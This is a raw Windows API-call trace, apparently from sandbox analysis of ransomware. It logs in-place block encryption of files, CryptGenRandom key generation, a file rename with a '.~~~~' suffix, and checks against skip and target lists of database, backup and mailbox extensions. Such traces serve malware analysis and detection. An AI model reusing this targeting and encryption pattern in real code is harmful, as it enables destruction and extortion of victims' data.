	[0082.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0082.413] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.413] GetLastError () returned 0x0
	[0082.413] GetLastError () returned 0x0
	[0082.413] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.413] GetLastError () returned 0x0
	[0082.414] GetLastError () returned 0x0
	[0082.414] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.417] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.418] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.418] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.418] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.418] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.418] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.419] CloseHandle (hObject=0x124) returned 1
	[0082.419] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0082.419] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.~~~~")) returned 1
	[0082.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8368 | out: hHeap=0x300000) returned 1
	[0082.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0082.420] GetLastError () returned 0x0
	[0082.420] RtlWakeConditionVariable () returned 0x365f70
	[0082.420] GetCurrentThreadId () returned 0xaf0
	[0082.420] GetCurrentThreadId () returned 0xaf0
	[0082.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0082.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0082.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3488 | out: hHeap=0x300000) returned 1
	[0082.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8218
	[0082.420] lstrlenW (lpString=".scr") returned 4
	[0082.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".scr") returned 0x0
	[0082.420] lstrlenW (lpString=".cmd") returned 4
	[0082.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".cmd") returned 0x0
	[0082.420] lstrlenW (lpString=".dll") returned 4
	[0082.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dll") returned 0x0
	[0082.420] lstrlenW (lpString=".bat") returned 4
	[0082.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".bat") returned 0x0
	[0082.420] lstrlenW (lpString=".cpl") returned 4
	[0082.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".cpl") returned 0x0
	[0082.420] lstrlenW (lpString=".sys") returned 4
	[0082.420] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".sys") returned 0x0
	[0082.421] lstrlenW (lpString=".msc") returned 4
	[0082.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".msc") returned 0x0
	[0082.421] lstrlenW (lpString=".com") returned 4
	[0082.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".com") returned 0x0
	[0082.421] lstrlenW (lpString=".lnk") returned 4
	[0082.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".lnk") returned 0x0
	[0082.421] lstrlenW (lpString=".msp") returned 4
	[0082.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".msp") returned 0x0
	[0082.421] lstrlenW (lpString=".pif") returned 4
	[0082.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".pif") returned 0x0
	[0082.421] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.421] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch="msp\r\n.pif") returned 0x0
	[0082.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0082.422] lstrlenW (lpString=".sqb") returned 4
	[0082.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".sqb") returned 0x0
	[0082.422] lstrlenW (lpString=".ost") returned 4
	[0082.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".ost") returned 0x0
	[0082.422] lstrlenW (lpString=".txt") returned 4
	[0082.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".txt") returned 0x0
	[0082.422] lstrlenW (lpString=".mdt") returned 4
	[0082.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".mdt") returned 0x0
	[0082.422] lstrlenW (lpString=".BDB") returned 4
	[0082.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".BDB") returned 0x0
	[0082.423] lstrlenW (lpString=".eql") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".eql") returned 0x0
	[0082.423] lstrlenW (lpString=".DBF") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DBF") returned 0x0
	[0082.423] lstrlenW (lpString=".EQL") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".EQL") returned 0x0
	[0082.423] lstrlenW (lpString=".FDB") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".FDB") returned 0x0
	[0082.423] lstrlenW (lpString=".EDB") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".EDB") returned 0x0
	[0082.423] lstrlenW (lpString=".DACPAC") returned 7
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DACPAC") returned 0x0
	[0082.423] lstrlenW (lpString=".VHD") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".VHD") returned 0x0
	[0082.423] lstrlenW (lpString=".DBV") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DBV") returned 0x0
	[0082.423] lstrlenW (lpString=".dacpac") returned 7
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dacpac") returned 0x0
	[0082.423] lstrlenW (lpString=".sdf") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".sdf") returned 0x0
	[0082.423] lstrlenW (lpString=".accdb") returned 6
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".accdb") returned 0x0
	[0082.423] lstrlenW (lpString=".DBX") returned 4
	[0082.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DBX") returned 0x0
	[0082.423] lstrlenW (lpString=".MDT") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".MDT") returned 0x0
	[0082.424] lstrlenW (lpString=".SQB") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".SQB") returned 0x0
	[0082.424] lstrlenW (lpString=".vhd") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".vhd") returned 0x0
	[0082.424] lstrlenW (lpString=".bac") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".bac") returned 0x0
	[0082.424] lstrlenW (lpString=".mdf") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".mdf") returned 0x0
	[0082.424] lstrlenW (lpString=".BAK") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".BAK") returned 0x0
	[0082.424] lstrlenW (lpString=".BAC") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".BAC") returned 0x0
	[0082.424] lstrlenW (lpString=".dbs") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dbs") returned 0x0
	[0082.424] lstrlenW (lpString=".vhdx") returned 5
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".vhdx") returned 0x0
	[0082.424] lstrlenW (lpString=".NDF") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".NDF") returned 0x0
	[0082.424] lstrlenW (lpString=".dat") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dat") returned 0x0
	[0082.424] lstrlenW (lpString=".DBS") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DBS") returned 0x0
	[0082.424] lstrlenW (lpString=".CKP") returned 4
	[0082.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".CKP") returned 0x0
	[0082.425] lstrlenW (lpString=".edb") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".edb") returned 0x0
	[0082.425] lstrlenW (lpString=".PST") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".PST") returned 0x0
	[0082.425] lstrlenW (lpString=".dbf") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dbf") returned 0x0
	[0082.425] lstrlenW (lpString=".SQL") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".SQL") returned 0x0
	[0082.425] lstrlenW (lpString=".pst") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".pst") returned 0x0
	[0082.425] lstrlenW (lpString=".dbv") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dbv") returned 0x0
	[0082.425] lstrlenW (lpString=".SDF") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".SDF") returned 0x0
	[0082.425] lstrlenW (lpString=".dtxs") returned 5
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dtxs") returned 0x0
	[0082.425] lstrlenW (lpString=".db3") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".db3") returned 0x0
	[0082.425] lstrlenW (lpString=".OST") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".OST") returned 0x0
	[0082.425] lstrlenW (lpString=".dbx") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dbx") returned 0x0
	[0082.425] lstrlenW (lpString=".DB3") returned 4
	[0082.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DB3") returned 0x0
	[0082.425] lstrlenW (lpString=".DAT") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DAT") returned 0x0
	[0082.426] lstrlenW (lpString=".VHDX") returned 5
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".VHDX") returned 0x0
	[0082.426] lstrlenW (lpString=".ndf") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".ndf") returned 0x0
	[0082.426] lstrlenW (lpString=".DB") returned 3
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DB") returned 0x0
	[0082.426] lstrlenW (lpString=".sql") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".sql") returned 0x0
	[0082.426] lstrlenW (lpString=".MYD") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".MYD") returned 0x0
	[0082.426] lstrlenW (lpString=".DBT") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DBT") returned 0x0
	[0082.426] lstrlenW (lpString=".ACCDB") returned 6
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".ACCDB") returned 0x0
	[0082.426] lstrlenW (lpString=".fdb") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".fdb") returned 0x0
	[0082.426] lstrlenW (lpString=".bak") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".bak") returned 0x0
	[0082.426] lstrlenW (lpString=".myd") returned 4
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".myd") returned 0x0
	[0082.426] lstrlenW (lpString=".DTXS") returned 5
	[0082.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".DTXS") returned 0x0
	[0082.426] lstrlenW (lpString=".ckp") returned 4
	[0082.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".ckp") returned 0x0
	[0082.427] lstrlenW (lpString=".dbt") returned 4
	[0082.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".dbt") returned 0x0
	[0082.427] lstrlenW (lpString=".db") returned 3
	[0082.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".db") returned 0x0
	[0082.427] lstrlenW (lpString=".TXT") returned 4
	[0082.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpSrch=".TXT") returned=".TXT"
	[0082.427] lstrlenW (lpString=".TXT") returned 4
	[0082.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0082.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.427] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0082.428] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.428] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0082.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0082.428] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20241836129) returned 1
	[0082.428] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9af99d10, dwHighDateTime=0x1d60e1e)) 
	[0082.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0082.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0082.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0082.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3488
	[0082.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3488 | out: hHeap=0x300000) returned 1
	[0082.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e82c0
	[0082.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.429] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0082.429] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0082.429] GetLastError () returned 0x0
	[0082.429] GetLastError () returned 0x0
	[0082.429] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0082.429] GetLastError () returned 0x0
	[0082.429] GetLastError () returned 0x0
	[0082.430] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.484] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.484] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.486] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.487] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.487] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.489] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.492] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.493] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.493] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.496] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.496] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.497] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.497] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.497] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.498] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.502] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.502] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.502] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0082.503] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
